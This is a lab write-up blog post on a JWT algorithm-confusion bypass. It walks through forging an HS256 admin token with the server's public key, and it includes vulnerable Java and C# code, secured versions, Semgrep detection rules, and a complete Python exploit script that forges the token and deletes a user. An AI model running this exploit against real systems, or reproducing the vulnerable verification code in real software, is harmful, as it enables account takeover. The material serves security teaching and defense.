Post

Lab 07: JWT authentication bypass via algorithm confusion

Lab 07: JWT authentication bypass via algorithm confusion

1. Executive Summary

Vulnerability: JWT Signature Bypass (Algorithm Confusion).

Description: The application expects a JWT signed with an asymmetric algorithm (RS256) and verifies it using a known public key. However, the JWT library does not enforce the expected algorithm. An attacker can change the token’s header to specify a symmetric algorithm (HS256). When the server processes this modified token, it inadvertently uses its own public key as the symmetric HMAC secret key. Since the public key is readily available to anyone, the attacker can use it to sign malicious tokens locally.

Impact: Full Account Takeover. The attacker can forge a valid signature for any user, including administrators, completely bypassing the authentication mechanism.

2. The Attack

Objective: Obtain the server’s public key, convert it to the format expected by the backend, and use it as an HMAC secret to sign a forged admin token.

  1. Reconnaissance (Key Extraction):
    • I logged in as wiener and captured the session JWT.
    • I accessed the standard endpoint /jwks.json in the browser. The server exposed its public key in JSON Web Key (JWK) format.
    • I copied the JWK object from the keys array.
  2. Generating the Malicious Symmetric Key:
    • In Burp’s JWT Editor Keys tab, I created a New RSA Key and pasted the copied JWK.
    • I exported this key by right-clicking and selecting Copy Public Key as PEM.
    • Because the server’s JWT library will treat this PEM file as a raw string of bytes for the symmetric HMAC operation, I Base64-encoded the PEM string using the Decoder tab.
    • I created a New Symmetric Key in the JWT Editor and replaced the k property with my Base64-encoded PEM.
  3. Token Forgery and Exploitation:
    • I sent the GET /admin request to Repeater and switched to the JSON Web Token tab.
    • In the Header, I changed the alg parameter to HS256.
    • In the Payload, I changed the sub claim to administrator.
    • I clicked Sign, selected my newly created symmetric key (the Base64 PEM), and ensured Don’t modify header was checked so the alg remained HS256.
    • I sent the request. The server loaded its public key, saw the HS256 header, and used the public key as the HMAC secret. My signature matched perfectly.
    • I successfully accessed the admin panel and executed the /admin/delete?username=carlos endpoint.

3. Code Review

Vulnerability Analysis (Explanation):

The flaw is a realistic oversight where the developer passes the verification key to the parsing function but relies entirely on the token’s header to determine the cryptographic operation. The library assumes that if the developer provided a key, and the token says “HS256”, it should perform an HMAC operation using the provided key’s raw bytes.

Java (Spring Boot / JJWT)

1
2
3
4
5
6
7
8
9
public Claims parseToken(String token, PublicKey serverPublicKey) {
    // REALISTIC OVERSIGHT: The developer provides the public key to the parser
    // but forgets to enforce that the token MUST use an asymmetric algorithm (RS256).
    return Jwts.parserBuilder()
        .setSigningKey(serverPublicKey) 
        .build()
        .parseClaimsJws(token)
        .getBody();
}

Technical Flow & Syntax Explanation:

  • setSigningKey(serverPublicKey): The application registers the RSA public key for signature verification.
  • Missing Constraint: There is no .requireAlgorithm() constraint. When the parser reads the attacker’s token, it extracts the alg: HS256 header.
  • The Confusion: The JJWT library sees HS256 and switches to symmetric HMAC mode. It attempts to extract the raw bytes from the serverPublicKey object (often resulting in the X.509 PEM byte representation) and calculates the HMAC of the token using those bytes as the secret. Since the attacker did the exact same math locally, the validation succeeds.

C# (ASP.NET Core / Jose-JWT)

1
2
3
4
5
6
7
8
9
10
11
12
public string ValidateToken(string token, string publicKeyPem)
{
    // REALISTIC OVERSIGHT: Using a generic decoding method without restricting the algorithm.
    // The publicKeyPem is loaded from the filesystem or configuration.
    
    var publicKeyBytes = Encoding.UTF8.GetBytes(publicKeyPem);
    
    // The JWT library dynamically selects the algorithm based on the token header.
    string payload = JWT.Decode(token, publicKeyBytes);
    
    return payload;
}

Technical Flow & Syntax Explanation:

  • Encoding.UTF8.GetBytes(publicKeyPem): The public key is loaded as a byte array.
  • JWT.Decode(token, publicKeyBytes): The jose-jwt library (and similar generic JWT libraries) reads the alg header from the token. If the header specifies HS256, the library uses the publicKeyBytes array as the symmetric secret for the HMAC SHA-256 operation. It completely ignores the fact that the developer intended for it to be used as an RSA public key.

Mock PR Comment

The JWT verification logic does not enforce a specific signing algorithm. This leaves the application vulnerable to algorithm confusion attacks, where an attacker can supply an HS256 token and force the server to use its own public key as an HMAC secret.

Recommendation: Hardcode or strictly enforce the expected algorithm (e.g., RS256) during token verification. Reject any tokens that specify a different algorithm in their header.

4. The Fix

Secure Java

1
2
3
4
5
6
7
8
9
public Claims parseToken(String token, PublicKey serverPublicKey) {
    // SECURE: Explicitly enforcing the expected asymmetric algorithm
    return Jwts.parserBuilder()
        .setSigningKey(serverPublicKey)
        .requireAlgorithm(SignatureAlgorithm.RS256) // The Gatekeeper
        .build()
        .parseClaimsJws(token)
        .getBody();
}

Technical Flow & Syntax Explanation:

  • requireAlgorithm(SignatureAlgorithm.RS256): This method locks the parser to a specific cryptographic operation. If an attacker submits a token with alg: HS256, the parser will immediately throw an UnsupportedJwtException before any cryptographic math is performed, completely mitigating the confusion attack.

Secure C#

1
2
3
4
5
6
7
8
9
10
11
12
13
public string ValidateToken(string token, string publicKeyPem)
{
    var publicKeyBytes = Encoding.UTF8.GetBytes(publicKeyPem);
    
    // SECURE: Explicitly defining the allowed algorithm during decode
    string payload = JWT.Decode(
        token, 
        publicKeyBytes, 
        JwsAlgorithm.RS256 // Strict algorithm enforcement
    );
    
    return payload;
}

Technical Flow & Syntax Explanation:

  • JwsAlgorithm.RS256: By passing the expected algorithm as a strict argument to the Decode method, the library is forced to treat the key as an RSA key and perform an asymmetric verification. If the token header claims HS256, the library will reject it due to the algorithm mismatch.

5. Automation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/env python3
import argparse
import requests
import json
import base64
import jwt
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend

def exploit_algorithm_confusion(url, username, password):
    s = requests.Session()
    login_url = f"{url.rstrip('/')}/login"
    
    print(f"[*] Logging in as {username}...")
    s.post(login_url, data={'username': username, 'password': password})
    
    token = s.cookies.get('session')
    if not token:
        print("[-] No session cookie found.")
        return

    # 1. Fetch JWKS and extract public key
    jwks_url = f"{url.rstrip('/')}/jwks.json"
    print(f"[*] Fetching public key from {jwks_url}...")
    jwks_resp = s.get(jwks_url)
    jwk_data = jwks_resp.json()['keys'][0]
    
    # 2. Reconstruct the RSA Public Key from the JWK
    def decode_b64url(val):
        padding = '=' * (4 - (len(val) % 4))
        return base64.urlsafe_b64decode(val + padding)
    
    e = int.from_bytes(decode_b64url(jwk_data['e']), 'big')
    n = int.from_bytes(decode_b64url(jwk_data['n']), 'big')
    
    pub_numbers = RSAPublicNumbers(e, n)
    pub_key = pub_numbers.public_key(default_backend())
    
    # 3. Serialize to PEM format
    pem_bytes = pub_key.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo
    )
    
    print("[*] Public Key successfully converted to PEM.")
    
    # 4. Forge the token
    # We decode the original to keep timestamps/structure intact
    payload_b64 = token.split('.')[1]
    padding = '=' * (4 - (len(payload_b64) % 4))
    payload_str = base64.urlsafe_b64decode(payload_b64 + padding).decode('utf-8')
    payload = json.loads(payload_str)
    
    # Modify claims
    payload['sub'] = 'administrator'
    
    headers = {
        "alg": "HS256",
        "typ": "JWT"
    }
    
    print("[*] Signing token with HS256 using the public key PEM as the HMAC secret...")
    # In algorithm confusion, the exact PEM string is used as the symmetric secret
    forged_token = jwt.encode(payload, pem_bytes, algorithm="HS256", headers=headers)
    
    # 5. Attack
    print(f"[*] Sending forged token to /admin...")
    s.cookies.set('session', forged_token)
    
    resp = s.get(f"{url.rstrip('/')}/admin")
    if "Admin panel" in resp.text:
        print("[!!!] SUCCESS: Admin panel accessed.")
        delete_url = f"{url.rstrip('/')}/admin/delete?username=carlos"
        s.get(delete_url)
        print("[+] Carlos deleted.")
    else:
        print(f"[-] Failed. Status: {resp.status_code}")

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("url", help="Lab URL")
    ap.add_argument("username", help="Your username (wiener)")
    ap.add_argument("password", help="Your password (peter)")
    args = ap.parse_args()

    exploit_algorithm_confusion(args.url, args.username, args.password)

if __name__ == "__main__":
    main()

6. Static Analysis (Semgrep)

Java Rule

1
2
3
4
5
6
7
8
9
10
11
12
13
rules:
  - id: java-jwt-missing-algorithm-enforcement
    languages: [java]
    message: |
      JWT parser does not explicitly enforce a cryptographic algorithm.
      This exposes the application to algorithm confusion attacks (e.g., RS256 to HS256).
      Always use requireAlgorithm() to lock the parser to the expected algorithm.
    severity: ERROR
    patterns:
      - pattern-inside: |
          Jwts.parserBuilder(). ... .build().parseClaimsJws(...)
      - pattern-not-inside: |
          Jwts.parserBuilder(). ... .requireAlgorithm(...). ... .build()

Technical Flow & Syntax Explanation:

  • Jwts.parserBuilder(). ... .parseClaimsJws(...): This pattern captures the standard initialization and execution chain of the JJWT library parser.
  • pattern-not-inside: This acts as an exclusionary filter. If the parser chain includes the .requireAlgorithm(...) method call, the code is considered secure and the rule ignores it. If it is missing, the code relies entirely on the client-provided header and is flagged as vulnerable.

C# Rule

1
2
3
4
5
6
7
8
9
10
rules:
  - id: csharp-jwt-missing-algorithm-enforcement
    languages: [csharp]
    message: |
      JWT decoding method called without specifying an expected algorithm.
      This allows an attacker to dictate the signature algorithm via the token header.
    severity: ERROR
    patterns:
      - pattern: JWT.Decode($TOKEN, $KEY)
      - pattern-not: JWT.Decode($TOKEN, $KEY, $ALGORITHM)

Technical Flow & Syntax Explanation:

  • JWT.Decode($TOKEN, $KEY): Targets the two-argument signature of generic decoding methods (like those found in jose-jwt) which implicitly trust the alg header of the incoming token.
  • pattern-not: Prevents the rule from firing if the developer uses the three-argument overload that strictly enforces the $ALGORITHM (e.g., JwsAlgorithm.RS256), which is the recommended secure implementation.
This post is licensed under CC BY 4.0 by the author.